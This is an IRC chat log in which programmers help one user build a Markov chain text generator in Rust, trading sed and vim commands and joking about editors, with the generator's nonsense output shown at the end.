[2014-12-07T23:35:12-0500] <nezorg> I still love King James Programming
[2014-12-07T23:35:20-0500] <+ubuntor> ^
[2014-12-07T23:36:41-0500] <awe> @choose MapleStory v59 server emulator in Rust or some other project.
[2014-12-07T23:36:41-0500] <awebot> awe: MapleStory v59 server emulator in Rust
[2014-12-07T23:36:48-0500] <awe> Okay, awebot.
[2014-12-07T23:38:42-0500] <+Tamini> once it works can i play it
[2014-12-07T23:38:45-0500] <+Tamini> :P
[2014-12-07T23:40:44-0500] <awe> Yeah, if I ever actually finish.
[2014-12-07T23:41:48-0500] <awe> I have a friend who wants to do it with me.
[2014-12-07T23:41:51-0500] <nezorg> "Go ye therefore, and pray always, that ye may be the largest integer"
[2014-12-07T23:42:43-0500] <nezorg> "the each_line method does the work of God"
[2014-12-07T23:43:23-0500] <nezorg> "In a procedural language such as Lisp, it is meaningless to speak of the glorious gospel of the kingdom"
[2014-12-07T23:44:00-0500] <nezorg> "the priest shall pronounce himself unclean: it is a terrible way to compute Fibonacci numbers"
[2014-12-07T23:45:01-0500] <nezorg> "we want the computer to make an atonement for your sin."
[2014-12-07T23:45:46-0500] <+Tamini> awe: you're reminding me of that time when
[2014-12-07T23:45:51-0500] <nezorg> "Exercise 3.69. Write a procedure that examines a list and count the number of the days that thou shalt not take a wife"
[2014-12-07T23:45:57-0500] <+Tamini> i had no friends and i escaped reality playing maplestory
[2014-12-07T23:45:58-0500] <+Tamini> and lol
[2014-12-07T23:46:07-0500] <+Tamini> wait, what is that.
[2014-12-07T23:46:10-0500] <awe> Tamini: Perfect. <3
[2014-12-07T23:46:14-0500] <+Tamini> I recognize that.
[2014-12-07T23:46:28-0500] <nezorg> Tamini: http://kingjamesprogramming.tumblr.com
[2014-12-07T23:46:37-0500] <+Tamini> OH RIGHT
[2014-12-07T23:49:34-0500] <+Tamini> ugh why cant i motivate
[2014-12-07T23:49:34-0500] <+Tamini> help
[2014-12-07T23:51:34-0500] <+LittleBobbyTables> awe
[2014-12-07T23:51:47-0500] <+LittleBobbyTables> or anyone, really
[2014-12-07T23:51:48-0500] <awe> LittleBobbyTables: yes?
[2014-12-07T23:51:58-0500] <+LittleBobbyTables> Anyone know the difference between intrinsic and extrinsic motivation?
[2014-12-07T23:52:06-0500] <awe> nezorg: lol, I'm going to go implement a markov chain now.
[2014-12-07T23:52:06-0500] <nezorg> "I am Alpha and Omega, the beginning and the end, the first and third arguments"
[2014-12-07T23:52:52-0500] <awe> LittleBobbyTables: intrinsic motivations are motivations derived from the behavior itself, extrinsic motivations are motivations derived from the external rewards for the behavior.
[2014-12-07T23:53:05-0500] <+LittleBobbyTables> Can you give an example?
[2014-12-07T23:53:09-0500] <awe> LittleBobbyTables: Some people program for the act of programming. Some people program to be rich or to get people to like them
[2014-12-07T23:53:16-0500] <+LittleBobbyTables> Ah alright.
[2014-12-07T23:53:50-0500] <awe> In education, someone who wants knowledge is intrinsically motivated, and someone who wants grades is extrinsically motivated.
[2014-12-07T23:55:14-0500] <nezorg> which am I
[2014-12-07T23:55:47-0500] <+Tamini> why not both
[2014-12-07T23:56:27-0500] <nezorg> true, true
[2014-12-07T23:56:43-0500] <nezorg> thou art truly more wise than I
[2014-12-07T23:56:51-0500] <+alokpathy> xD
[2014-12-07T23:56:58-0500] <+Tamini> :P
[2014-12-07T23:57:17-0500] <+Tamini> blergh
[2014-12-07T23:57:23-0500] <+Tamini> how does one motivate oneself to study
[2014-12-07T23:58:12-0500] <nezorg> one realizes that one's life is made better by good grades, truly, truly, I say unto you
[2014-12-07T23:58:58-0500] <+Tamini> :P
[2014-12-07T23:59:34-0500] <bob_twinkles> I would disagree with that statement, I find that I'm waaaaay less stressed than all the people who care XD
[2014-12-08T00:00:03-0500] <+Tamini> nyeh
[2014-12-08T00:00:09-0500] <+Tamini> I am not as enlightened as bob_twinkles.
[2014-12-08T00:00:19-0500] <awe> bob_twinkles: Same.
[2014-12-08T00:00:24-0500] <awe> Okay, so, guys.
[2014-12-08T00:00:24-0500] <bob_twinkles> you also probably won't end up homeless =P
[2014-12-08T00:00:29-0500] <awe> I'm going to explain what I think a markov chain is.
[2014-12-08T00:00:34-0500] <awe> And you're going to tell me if I'm right.
[2014-12-08T00:00:35-0500] <+Tamini> bob_twinkles: did you get into college yet
[2014-12-08T00:00:35-0500] <nezorg> bob_twinkles: but theirs is the long-term lack of stress, forever and ever, amen
[2014-12-08T00:00:36-0500] <awe> Okay?
[2014-12-08T00:00:39-0500] <+LittleBobbyTables> You're wrong
[2014-12-08T00:00:42-0500] <awe> Thanks.
[2014-12-08T00:00:46-0500] <+LittleBobbyTables> NP
[2014-12-08T00:00:50-0500] <+Tamini> :P
[2014-12-08T00:00:57-0500] <bob_twinkles> Tamini: no
[2014-12-08T00:00:57-0500] <+Tamini> I wanna know what you think it is, go.
[2014-12-08T00:01:10-0500] <+Tamini> bob_twinkles: you aren't going to end up homeless yet :P
[2014-12-08T00:01:28-0500] <awe> So, from my impression, a markov chain is essentially a state model that shows the probability of each transition from a state to another state.
[2014-12-08T00:01:29-0500] <awe> Right?
[2014-12-08T00:01:34-0500] <bob_twinkles> nezorg: I may end up homeless, but I'm pretty sure I'll still be less stressed than those people
[2014-12-08T00:01:35-0500] <awe> At least, roughly.
[2014-12-08T00:01:42-0500] <bob_twinkles> you can think of it that way, yeah
[2014-12-08T00:02:06-0500] <Hyper> awe: correct
[2014-12-08T00:02:33-0500] <nezorg> bob_twinkles: but surely thy stress is not thy only consideration
[2014-12-08T00:02:34-0500] <awe> Okay. So, if my goal is specifically to generate text, my goal is to basically convert something like "I love dogs." and "I love cats." to a model something like:
[2014-12-08T00:02:37-0500] <+Tamini> bob_twinkles: nyeh, but chilling out is hard
[2014-12-08T00:02:40-0500] <+Tamini> also who broke nezorg
[2014-12-08T00:02:42-0500] <awe> I is followed by love with probability 1.
[2014-12-08T00:02:50-0500] <awe> love is followed by dogs with probability 0.5
[2014-12-08T00:03:00-0500] <awe> love is followed by cats with probability 0.5
[2014-12-08T00:03:02-0500] <Hyper> pretty much
[2014-12-08T00:03:36-0500] <Hyper> and then probably cats -> end : 1, dogs -> end : 1
[2014-12-08T00:03:38-0500] <awe> Yeah.
[2014-12-08T00:03:55-0500] <awe> I was going to mention that and you said pretty much, so I just stopped.
[2014-12-08T00:04:09-0500] <Hyper> lol
[2014-12-08T00:04:17-0500] <awe> So, should I implement a general markov chain and then apply it to this domain?
[2014-12-08T00:04:18-0500] <Hyper> you might also want start -> love : 1
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[2014-12-08T00:04:28-0500] <awe> start -> i : 1
[2014-12-08T00:04:31-0500] <awe> :p
[2014-12-08T00:04:32-0500] <Hyper> right
[2014-12-08T00:04:55-0500] <awe> But yeah, so, should I write a general markov chain first?
[2014-12-08T00:05:01-0500] <Hyper> but I don't know what you mean "general markov chain"
[2014-12-08T00:05:09-0500] <Hyper> like one where it doesn't care about the datatype?
[2014-12-08T00:05:29-0500] <awe> Yeah.
[2014-12-08T00:05:35-0500] <bob_twinkles> \newcommand{\ssqm}[1][]{\ifthenelse{\isempty{#1}}{\ensuremath{\text{S}^2}}{\ensuremath{\text{S}_{#1}^{2}}}} % and this is why I've never learned tex
[2014-12-08T00:05:41-0500] <Hyper> You pass in a list of tokens and it generates a chain for them
[2014-12-08T00:05:55-0500] <+Tamini> all these people that do fancy stuff with TeX
[2014-12-08T00:05:58-0500] <+Tamini> how even
[2014-12-08T00:06:15-0500] <awe> Oh, okay, so, I also need to clarify something.
[2014-12-08T00:06:23-0500] <awe> I like dogs and I like cats.
[2014-12-08T00:06:41-0500] <+hardmath123> >> "Bitcoin is like <code>vim</code>"
[2014-12-08T00:06:42-0500] <bob_twinkles> it does make my equations look like \ssqm[] = \ssqm[x] + \ssqm[y] + \ssqm[z] though which is nice
[2014-12-08T00:06:46-0500] <+hardmath123> these are getting embarrassing
[2014-12-08T00:06:49-0500] <awe> That should be able to produce
[2014-12-08T00:06:57-0500] <awe> I like dogs and I like cats
[2014-12-08T00:06:59-0500] <awe> OR
[2014-12-08T00:07:03-0500] <awe> I like cats and I like cats
[2014-12-08T00:07:10-0500] <awe> actually, not that one.
[2014-12-08T00:07:11-0500] <Hyper> false
[2014-12-08T00:07:13-0500] <Hyper> yeah
[2014-12-08T00:07:17-0500] <awe> I like dogs and I like cats
[2014-12-08T00:07:22-0500] <awe> I like cats
[2014-12-08T00:07:33-0500] <awe> I like dogs and I like dogs and I like dogs and I like dogs and I like cats
[2014-12-08T00:07:39-0500] <awe> but cats always has to be the end .
[2014-12-08T00:07:41-0500] <awe> Right?
[2014-12-08T00:07:43-0500] <Hyper> yes
[2014-12-08T00:07:55-0500] <awe> Okay, I need to figure out a good way to represent this.
[2014-12-08T00:08:14-0500] <Hyper> a map from token -> tuple(Probability, token)
[2014-12-08T00:08:19-0500] <Hyper> xP
[2014-12-08T00:08:54-0500] <awe> That's uhh...
[2014-12-08T00:08:55-0500] <awe> not right.
[2014-12-08T00:08:58-0500] <bob_twinkles> yes it is
[2014-12-08T00:09:02-0500] <Hyper> why not?
[2014-12-08T00:09:12-0500] <Hyper> I mean, it only works if you're doing bigrams
[2014-12-08T00:09:40-0500] <Hyper> otherwise it's a bit more complicated
[2014-12-08T00:09:43-0500] <Hyper> but screw that
[2014-12-08T00:09:46-0500] <awe> Doesn't it need to be token -> a set of possible states?
[2014-12-08T00:10:02-0500] <Hyper> right, sorry
[2014-12-08T00:10:02-0500] <awe> where each possible state is a probability and token.
[2014-12-08T00:10:18-0500] <Hyper> you're right, I wasn't thinking
[2014-12-08T00:10:38-0500] <Hyper> I'm out of snacks and clearly not thinking right xP
[2014-12-08T00:10:42-0500] <awe> No worries.
[2014-12-08T00:11:00-0500] <awe> So, a state is just a tuple of probability and token, right?
[2014-12-08T00:11:10-0500] <Hyper> yeah
[2014-12-08T00:11:23-0500] <awe> struct State<T>(Probability, T);
[2014-12-08T00:11:26-0500] <awe> Woo.
[2014-12-08T00:11:30-0500] <awe> Getting there.
[2014-12-08T00:11:30-0500] <awe> lol
[2014-12-08T00:11:37-0500] <awe> Except, there's no definition of probability yet.
[2014-12-08T00:11:51-0500] <Hyper> float
[2014-12-08T00:11:52-0500] <Hyper> wowo
[2014-12-08T00:12:01-0500] <awe> I'm going to typedef it, I thinkn.
[2014-12-08T00:12:04-0500] <awe> I think*
[2014-12-08T00:12:17-0500] <awe> Actually, I don't think that's useful in Rust.
[2014-12-08T00:12:28-0500] <Hyper> It might be useful to make it more of a "total occurrences" rather than probability
[2014-12-08T00:12:34-0500] <awe> Yeah.
[2014-12-08T00:12:36-0500] <awe> That's probably true.
[2014-12-08T00:13:45-0500] <awe> nezorg: type Probability = f32; anything that takes Probability would take any old f32, right?
[2014-12-08T00:14:48-0500] <nezorg> awe: might as well make it generic! :P
[2014-12-08T00:15:04-0500] <awe> Wat?
[2014-12-08T00:15:19-0500] <awe> They've gutted the generic maths stuff.
[2014-12-08T00:15:26-0500] <awe> (They don't think the standard library should be providing stuff like that)
[2014-12-08T00:15:41-0500] <nezorg> which I say is bullshit
[2014-12-08T00:15:57-0500] <awe> The discussion is going to change when associated types and HKT drop.
[2014-12-08T00:16:08-0500] <awe> It's just that without HKT, it's pretty useless.
[2014-12-08T00:16:17-0500] <nezorg> why?
[2014-12-08T00:16:26-0500] <nezorg> it seemed pretty useful before...
[2014-12-08T00:16:27-0500] <awe> Read the RFC.
[2014-12-08T00:16:31-0500] <awe> Iunno, man.
[2014-12-08T00:16:51-0500] <awe> IIRC, the RFC basically said "It'll make more sense to do this over again once we have HKT and associated types."
[2014-12-08T00:16:55-0500] <awe> Maybe it was an implementation thing.
[2014-12-08T00:18:04-0500] <+LittleBobbyTables> VMWare (paid version) or VBox?
[2014-12-08T00:18:33-0500] <awe> VirtualBox is really good.
[2014-12-08T00:19:02-0500] <nezorg> I wish they had left Num in
[2014-12-08T00:19:21-0500] <awe> nezorg: there's a math library that provides it.
[2014-12-08T00:19:35-0500] <nezorg> but I doubt many people will use it
[2014-12-08T00:20:00-0500] <awe> I suppose not.
[2014-12-08T00:31:45-0500] <awe> Hyper: I think I have a really bad idea for how to actually get the next token.
[2014-12-08T00:32:06-0500] <Hyper> I'm morbidly curious
[2014-12-08T00:32:42-0500] <awe> Hyper: from the list of possible states, make a vec of the tokens and insert each element the proper number of times it's been found, then randomly select one.
[2014-12-08T00:33:02-0500] <Hyper> awe: that's how I normally do it when throwing one together
[2014-12-08T00:33:17-0500] <awe> I feel like there has to be a better way though.
[2014-12-08T00:33:45-0500] <awe> Okay, so, here's one.
[2014-12-08T00:33:48-0500] <Hyper> weight each of the choices' indecies by their probabilty
[2014-12-08T00:33:53-0500] <awe> Sum up the total occurrences of all things.
[2014-12-08T00:33:59-0500] <awe> Select a random number between 0 and the total.
[2014-12-08T00:34:15-0500] <awe> iterate through summing the occurrences again until the sum of your occurrences is greater than that random number.
[2014-12-08T00:34:27-0500] <Hyper> that'd work
[2014-12-08T00:34:33-0500] <Hyper> still expensive
[2014-12-08T00:34:42-0500] <awe> Well, sure, but not on memory.
[2014-12-08T00:35:11-0500] <awe> Either way, it's going to be O(n).
[2014-12-08T00:35:39-0500] <Hyper> that one is actually how the dice function in D works
[2014-12-08T00:35:52-0500] <awe> Orly?
[2014-12-08T00:35:52-0500] <Hyper> so it seems like that's at least the sensible way to implement it
[2014-12-08T00:35:54-0500] <awe> Okay.
[2014-12-08T00:35:56-0500] <awe> Good to hear.
[2014-12-08T00:36:03-0500] <Hyper> https://github.com/D-Programming-Language/phobos/blob/master/std/random.d#L1902
[2014-12-08T00:36:30-0500] <awe> Neat.
[2014-12-08T00:59:33-0500] <nezorg> so I've installed noscript
[2014-12-08T00:59:43-0500] <awe> nezorg: Welcome to the Broken Web.
[2014-12-08T00:59:44-0500] <nezorg> because apparently I am insane
[2014-12-08T00:59:50-0500] <nezorg> thank you
[2014-12-08T00:59:50-0500] <awe> Web -2.0
[2014-12-08T00:59:54-0500] <+ubuntor> excellent choice
[2014-12-08T01:00:08-0500] <nezorg> awe: do you use it?
[2014-12-08T01:00:13-0500] <awe> Lolno.
[2014-12-08T01:00:20-0500] <nezorg> ah
[2014-12-08T01:00:22-0500] <awe> Remember: I can't use things that look like arse.
[2014-12-08T01:00:25-0500] <awe> I couldn't use emacs for that reason.
[2014-12-08T01:00:39-0500] <nezorg> ... how does emacs look worse than vim?
[2014-12-08T01:00:48-0500] <awe> The graphical apps for it.
[2014-12-08T01:00:49-0500] <+Tamini> nezorg: you don;t think vim is pretty?
[2014-12-08T01:00:59-0500] <nezorg> awe: huh?
[2014-12-08T01:01:07-0500] <awe> MacEmacs had toolbar crap
[2014-12-08T01:01:10-0500] <awe> and looked gross
[2014-12-08T01:01:13-0500] <awe> and the scrolling felt DISGUSTING.
[2014-12-08T01:01:26-0500] <nezorg> toolbar is easily disabled
[2014-12-08T01:01:26-0500] <awe> MacVim just has normal OS X chrome and that's it.
[2014-12-08T01:01:28-0500] <awe> I know.
[2014-12-08T01:01:31-0500] <awe> But the scrolling.
[2014-12-08T01:01:32-0500] <awe> Ugh.
[2014-12-08T01:01:33-0500] <nezorg> what's wrong with scrolling?
[2014-12-08T01:01:38-0500] <awe> It's not fluid.
[2014-12-08T01:01:40-0500] <awe> It's buffered
[2014-12-08T01:01:46-0500] <awe> Like in a terminal.
[2014-12-08T01:01:46-0500] <nezorg> ... huh?
[2014-12-08T01:01:55-0500] <nezorg> oh you mean per-line?
[2014-12-08T01:01:57-0500] <awe> Yes.
[2014-12-08T01:02:10-0500] <nezorg> macvim has non-line scrolling?
[2014-12-08T01:02:20-0500] <awe> It scrolls normally.
[2014-12-08T01:02:23-0500] <nezorg> eww
[2014-12-08T01:02:29-0500] <bob_twinkles> ^
[2014-12-08T01:02:31-0500] <nezorg> why would you want that for code
[2014-12-08T01:02:42-0500] <awe> Because it feels nice?
[2014-12-08T01:02:47-0500] <nezorg> um
[2014-12-08T01:02:49-0500] <+ubuntor> vim airline is pretty
[2014-12-08T01:02:49-0500] <nezorg> wat
[2014-12-08T01:02:58-0500] <awe> It feels like the way things should scroll.
[2014-12-08T01:03:21-0500] <nezorg> well i guess i never scroll using bars or touchpad anyway
[2014-12-08T01:04:31-0500] <nezorg> Tamini: no prettier than emacs
[2014-12-08T01:05:07-0500] <nezorg> I don't like the default colors on either
[2014-12-08T01:05:40-0500] <+Tamini> The default colors on emacs was the first thing that deterred me from using it
[2014-12-08T01:05:44-0500] <+Tamini> I just cannot
[2014-12-08T01:05:57-0500] <nezorg> ... okay then
[2014-12-08T01:06:09-0500] <+Tamini> awe and I both really care about how things look.
[2014-12-08T01:06:19-0500] <nezorg> well so do I
[2014-12-08T01:06:52-0500] <nezorg> I generally won't use non-Material apps on my phone :P
[2014-12-08T01:07:09-0500] <nezorg> but I guess we just have different opinions on what looks good
[2014-12-08T01:10:38-0500] <+Tamini> well i thought we both agreed
[2014-12-08T01:10:45-0500] <+Tamini> default emacs was horrendous
[2014-12-08T01:10:50-0500] <+Tamini> default vim is at least bearable
[2014-12-08T01:11:42-0500] <nezorg> second point not imo
[2014-12-08T01:12:08-0500] <+Tamini> what's so terrible other than the comment color?
[2014-12-08T01:12:32-0500] <nezorg> just things in general, nothing specifically
[2014-12-08T01:12:50-0500] <nezorg> anyway, it doesn't really matter what initial colors are
[2014-12-08T01:14:04-0500] hardmath123 is now known as hardmath123[away]
[2014-12-08T01:15:12-0500] <+Tamini> lol, yeah true
[2014-12-08T01:15:16-0500] <+Tamini> but like configuring things takes like effort
[2014-12-08T01:16:02-0500] <nezorg> not much in emacs!
[2014-12-08T01:16:25-0500] <+Tamini> lol shameless plug
[2014-12-08T01:16:40-0500] <bob_twinkles> my vimrc is like 30% custom tabline code, 20% plugin setup and 50% "disable this behavior for this filetype because the global defualts on this system are stupid"
[2014-12-08T01:17:03-0500] <bob_twinkles> for example I have to disable Syntastic's analyze-on-buffer-write functionality for dart because dartanalyzer hangs vim for ~4 seconds
[2014-12-08T01:17:49-0500] <nezorg> you actually have to wait for the analysis for finish? ouch
[2014-12-08T01:18:22-0500] <bob_twinkles> I think it's _supposed_ to fork but something is broken and dartanalyzer is useless enough that I don't care
[2014-12-08T01:19:33-0500] <+Tamini> nezorg: are you sending me pictures of your code again -____-
[2014-12-08T01:19:56-0500] <nezorg> focus on the emacs appearance, not the code
[2014-12-08T01:20:25-0500] <nezorg> the code is secret :p
[2014-12-08T01:20:31-0500] <+Tamini> see you send me like
[2014-12-08T01:20:32-0500] <+Tamini> 3 second snaps
[2014-12-08T01:20:35-0500] <+Tamini> this is not helpful :P
[2014-12-08T01:20:44-0500] <nezorg> ah
[2014-12-08T01:22:49-0500] <+Tamini> ok, me sleep now
[2014-12-08T01:22:52-0500] <+Tamini> gnight friends
[2014-12-08T01:22:58-0500] <bob_twinkles> 'night friend
[2014-12-08T01:23:56-0500] <bob_twinkles> I'm reasonably sure that this has passed the "it was more efficient to do it in tex" point
[2014-12-08T01:23:58-0500] <bob_twinkles> oops
[2014-12-08T01:24:10-0500] <nezorg> night
[2014-12-08T01:24:34-0500] <nezorg> ^ that is bidirectional
[2014-12-08T01:26:44-0500] <awe> GUYS.
[2014-12-08T01:26:45-0500] <awe> I DID IT.
[2014-12-08T01:26:46-0500] <awe> I think.
[2014-12-08T01:26:56-0500] <awe> I've only tried feeding it two lines: "hi there friend" and "hi there asshole"
[2014-12-08T01:27:04-0500] <awe> but it does successfully reproduce those phrases.
[2014-12-08T01:27:39-0500] <nezorg> impressive
[2014-12-08T01:28:09-0500] <nezorg> my phone is continuing to randomly kill all background processes
[2014-12-08T01:28:16-0500] <awe> [I, like, cats, and, I, like, cats, and, I, like, cats, and, I, like, dogs]
[2014-12-08T01:28:17-0500] <awe> Lol
[2014-12-08T01:28:18-0500] <awe> It worked.
[2014-12-08T01:28:24-0500] <awe> I fed it "I like cats and I like dogs."
[2014-12-08T01:28:29-0500] <awe> [I, like, cats, and, I, like, cats, and, I, like, cats, and, I, like, cats, and, I, like, cats, and, I, like, cats, and, I, like, cats, and, I, like, cats, and, I, like, dogs]
[2014-12-08T01:28:29-0500] <awe> YES
[2014-12-08T01:28:33-0500] <awe> THIS GUY, HE GETS IT.
[2014-12-08T01:29:16-0500] <awe> nezorg: only problem? It only works on Clone because I just used clone everywhere instead of worrying about lifetimes.
[2014-12-08T01:29:32-0500] <awe> good night, Tamini
[2014-12-08T01:29:46-0500] <nezorg> awe: :(
[2014-12-08T01:29:51-0500] <awe> I'll fix that later.
[2014-12-08T01:29:56-0500] <awe> I just wanted to get something up and running.
[2014-12-08T01:32:45-0500] <awe> nezorg: the clones are bad though.
[2014-12-08T01:32:48-0500] <awe> nezorg: they're everywhere.
[2014-12-08T01:36:00-0500] <nezorg> clones are very bad indeed
[2014-12-08T01:36:07-0500] <bob_twinkles> \ssqm[] \twoket{+z}{+z} = \left(\frac{3 \hbar^2}{2} + 2 \left(\left(\frac{\hbar}{2}\right)\left(\frac{\hbar}{2}\right) + \left(\frac{\imath\hbar}{2}\right)\left(\frac{-\imath\hbar}{2}\right) + \left(\frac{\hbar}{2}\right)\left(\frac{-\hbar}{2}\right)\right)\right)\twoket{+z}{+z}
[2014-12-08T01:36:09-0500] <bob_twinkles> #equations
[2014-12-08T01:36:23-0500] <bob_twinkles> nezorg: send help plz
[2014-12-08T01:37:07-0500] <nezorg> wat
[2014-12-08T01:40:59-0500] <awe> White-Pillar:markov Aaron$ cargo run
[2014-12-08T01:40:59-0500] <awe>      Running `target/markov`
[2014-12-08T01:40:59-0500] <awe> I like dogs and I like dogs and I like dogs and I like cats.
[2014-12-08T01:40:59-0500] <awe> White-Pillar:markov Aaron$ cargo run
[2014-12-08T01:40:59-0500] <awe>      Running `target/markov`
[2014-12-08T01:40:59-0500] <awe> I like dogs and I like cats.
[2014-12-08T01:40:59-0500] <awe> White-Pillar:markov Aaron$ cargo run
[2014-12-08T01:40:59-0500] <awe>      Running `target/markov`
[2014-12-08T01:40:59-0500] <awe> I like dogs and I like dogs and I like dogs and I like cats.
[2014-12-08T01:40:59-0500] <awe> White-Pillar:markov Aaron$ cargo run
[2014-12-08T01:40:59-0500] <awe>      Running `target/markov`
[2014-12-08T01:40:59-0500] <awe> I like dogs and I like dogs and I like dogs and I like cats.
[2014-12-08T01:41:00-0500] <awe> WOO
[2014-12-08T01:41:09-0500] <awe> I added some helpers for when you use String.
[2014-12-08T01:41:22-0500] <awe> Now, I'm going to try this with some text.
[2014-12-08T01:41:25-0500] <awe> From a file.
[2014-12-08T01:44:04-0500] <Hyper> awe: good job
[2014-12-08T01:44:12-0500] <+ubuntor> ooh, is this going into awebot?
[2014-12-08T01:45:37-0500] <bob_twinkles> if cslbot is indication !babble gets pretty old after the first thousand or so uses...
[2014-12-08T01:45:57-0500] <awe> ubuntor: I may as well.
[2014-12-08T01:46:05-0500] <+LittleBobbyTables> Wait so awe, what are you even trying to do?
[2014-12-08T01:46:07-0500] <awe> bob_twinkles: In my other channel, we have a bot DemodBot who responds when you talk to him.
[2014-12-08T01:46:12-0500] <awe> bob_twinkles: It's really bad, but hilarious.
[2014-12-08T01:46:17-0500] <awe> LittleBobbyTables: markov chain
[2014-12-08T01:46:23-0500] <+LittleBobbyTables> tl;dr?
[2014-12-08T01:46:24-0500] <awe> LittleBobbyTables: I implemented a generic markov chain in Rust.
[2014-12-08T01:46:36-0500] <awe> statistical model used for a lot of things, especially dummy text generators
[2014-12-08T01:46:41-0500] <awe> I give it example text
[2014-12-08T01:46:50-0500] <awe> it can generate text by probability.
[2014-12-08T01:47:25-0500] <Hyper> Fun fact: When my friend was implementing his copyvio detector for WP, I convinced him to use markov chains
[2014-12-08T01:47:29-0500] <Hyper> it's stupidly effective
[2014-12-08T01:48:51-0500] <awe> markov chains are pretty ninja.
[2014-12-08T01:50:37-0500] <awe> Okay.
[2014-12-08T01:50:40-0500] <awe> I need a substantial text to use.
[2014-12-08T01:50:53-0500] <Hyper> awe: project gutenburg yo
[2014-12-08T01:51:16-0500] <awe> I kind of have special formatting requirements.
[2014-12-08T01:51:25-0500] <awe> that is: I need to replace all periods with new lines.
[2014-12-08T01:51:25-0500] <awe> lol
[2014-12-08T01:51:36-0500] <+LittleBobbyTables> Use vim to do that
[2014-12-08T01:51:55-0500] <Hyper> str.replace(".", "\n")
[2014-12-08T01:51:58-0500] <awe> Yeah.
[2014-12-08T01:52:14-0500] <bob_twinkles> sed 's/\./\n/g'
[2014-12-08T01:52:16-0500] <bob_twinkles> I think
[2014-12-08T01:52:45-0500] <awe> Oh, shoot.
[2014-12-08T01:52:54-0500] <awe> But the text on gutenberg is wrapped.
[2014-12-08T01:52:57-0500] <awe> I need to get rid of the wrapping, too.
[2014-12-08T01:53:13-0500] <awe> So, first I've got to remove new lines.
[2014-12-08T01:53:20-0500] <bob_twinkles> sed 's/\n//g' =P
[2014-12-08T01:53:39-0500] <awe> how do I run sed on a file?
[2014-12-08T01:53:46-0500] <awe> I pipe it in?
[2014-12-08T01:53:47-0500] <awe> right?
[2014-12-08T01:54:03-0500] <bob_twinkles> yeah
[2014-12-08T01:54:05-0500] <+LittleBobbyTables> or you can just
[2014-12-08T01:54:13-0500] <awe> bob_twinkles: that's not working.
[2014-12-08T01:54:15-0500] <+LittleBobbyTables> :s/\n//g
[2014-12-08T01:54:19-0500] <+LittleBobbyTables> In vim itself
[2014-12-08T01:54:25-0500] <awe> bob_twinkles: your s/\n//g isn't working.
[2014-12-08T01:54:38-0500] <Hyper> LittleBobbyTables: that'll be on a single line x.x
[2014-12-08T01:54:49-0500] <awe> Someone just give me the right sed commands pls?
[2014-12-08T01:54:51-0500] <+LittleBobbyTables> Not with /g?
[2014-12-08T01:54:56-0500] <awe> N.
[2014-12-08T01:55:04-0500] <+LittleBobbyTables> @hyper
[2014-12-08T01:55:09-0500] <bob_twinkles> sed ':a;N;!Ba;s/\n/ /g'
[2014-12-08T01:55:13-0500] <bob_twinkles> awe^
[2014-12-08T01:55:19-0500] <bob_twinkles> (obviously duh)
[2014-12-08T01:55:22-0500] <awe> bob_twinkles: nah
[2014-12-08T01:55:26-0500] <bob_twinkles> http://stackoverflow.com/questions/1251999/sed-how-can-i-replace-a-newline-n
[2014-12-08T01:55:27-0500] <awe> bob_twinkles: still doesn't work.
[2014-12-08T01:55:39-0500] <Hyper> LittleBobbyTables: /g makes it do multiple occurences on the line
[2014-12-08T01:55:44-0500] <Hyper> otherwise it'll only do the first
[2014-12-08T01:55:50-0500] <bob_twinkles> sed ':a;N;!ba;s/\n/ /g'
[2014-12-08T01:55:50-0500] <+LittleBobbyTables> oshit, right.
[2014-12-08T01:56:05-0500] <awe> tr worked.
[2014-12-08T01:56:16-0500] <+LittleBobbyTables> :%s, I forgot about that.
[2014-12-08T01:56:26-0500] <awe>                    
[2014-12-08T01:56:31-0500] <awe> Hmm.
[2014-12-08T01:56:36-0500] <bob_twinkles> in vim you would probably just do 100000J
[2014-12-08T01:56:37-0500] <awe> There's stuff that I think is tabs.
[2014-12-08T01:56:54-0500] <+LittleBobbyTables> lol
[2014-12-08T01:57:03-0500] <bob_twinkles> sed 's/\t/ /g'
[2014-12-08T01:57:04-0500] <bob_twinkles> I think
[2014-12-08T01:57:08-0500] <bob_twinkles> I don't actually know sed that well XD
[2014-12-08T01:57:22-0500] <awe> So, uhh...
[2014-12-08T01:57:30-0500] <awe> your first sed to do the . into \n also didn't work.
[2014-12-08T01:57:37-0500] <+LittleBobbyTables> awe
[2014-12-08T01:57:39-0500] <awe> It replaced them with literal n's.
[2014-12-08T01:57:51-0500] <bob_twinkles> hmm
[2014-12-08T01:57:56-0500] <+LittleBobbyTables> Just :%s/\.\\n/g
[2014-12-08T01:58:03-0500] <awe> I'm not opening this shit in vim.
[2014-12-08T01:58:08-0500] <+LittleBobbyTables> lol
[2014-12-08T01:58:09-0500] <+LittleBobbyTables> why not
[2014-12-08T01:58:22-0500] <+LittleBobbyTables> You'll be done in less than a second
[2014-12-08T01:58:43-0500] <awe> pattern not found \.\\n
[2014-12-08T01:58:45-0500] <awe> >.>
[2014-12-08T01:58:55-0500] <+LittleBobbyTables> :/
[2014-12-08T01:59:10-0500] <+LittleBobbyTables> :%s/\./\\n/g
[2014-12-08T01:59:11-0500] <+LittleBobbyTables> Sorry
[2014-12-08T01:59:47-0500] <awe> yet again
[2014-12-08T01:59:49-0500] <awe> tr works.
[2014-12-08T01:59:50-0500] <awe> >.>
[2014-12-08T01:59:50-0500] <bob_twinkles> echo '%s/\./\n/g' | vim -e input_file > output.txt
[2014-12-08T01:59:52-0500] <bob_twinkles> =P
[2014-12-08T01:59:55-0500] <bob_twinkles> meh
[2014-12-08T01:59:58-0500] <+LittleBobbyTables> lol
[2014-12-08T02:02:06-0500] <awe> Here you go, guys.
[2014-12-08T02:02:13-0500] <awe> But we live from the slavery and uncertain wage that if its gardens: they would become producers, which unfortunately consecrated several centuries of wheat that while in affirming that we do without, but also join the invaded territory of soil is announcing itself is easy to 50 for their disposal of starving in modern machinery; and, at present system, do not abolish the great town, Paris not quite correct.
[2014-12-08T02:02:22-0500] <awe> Give the railway employés, than is this way, instead of Bismarck's and sold at Bâle became at what we mean believing that is always be, organized, in order to join with glass--to say "five minutes' worth of the farmer, the Commune.
[2014-12-08T02:02:47-0500] <awe> You're welcome.
[2014-12-08T02:03:02-0500] <awe> Oh.
[2014-12-08T02:03:03-0500] <awe> Shit.
[2014-12-08T02:03:04-0500] <awe> This one is deep.
[2014-12-08T02:03:05-0500] <awe> In reality, in poetry, but not be.
[2014-12-08T02:03:53-0500] <awe> Oh, prepare for this shit: It is in return to cultivate the increasing in autumn.
[2014-12-08T02:04:11-0500] <awe> Hyper: this is brilliant.
[2014-12-08T02:04:17-0500] <awe> Hyper: I am pleased with my work.
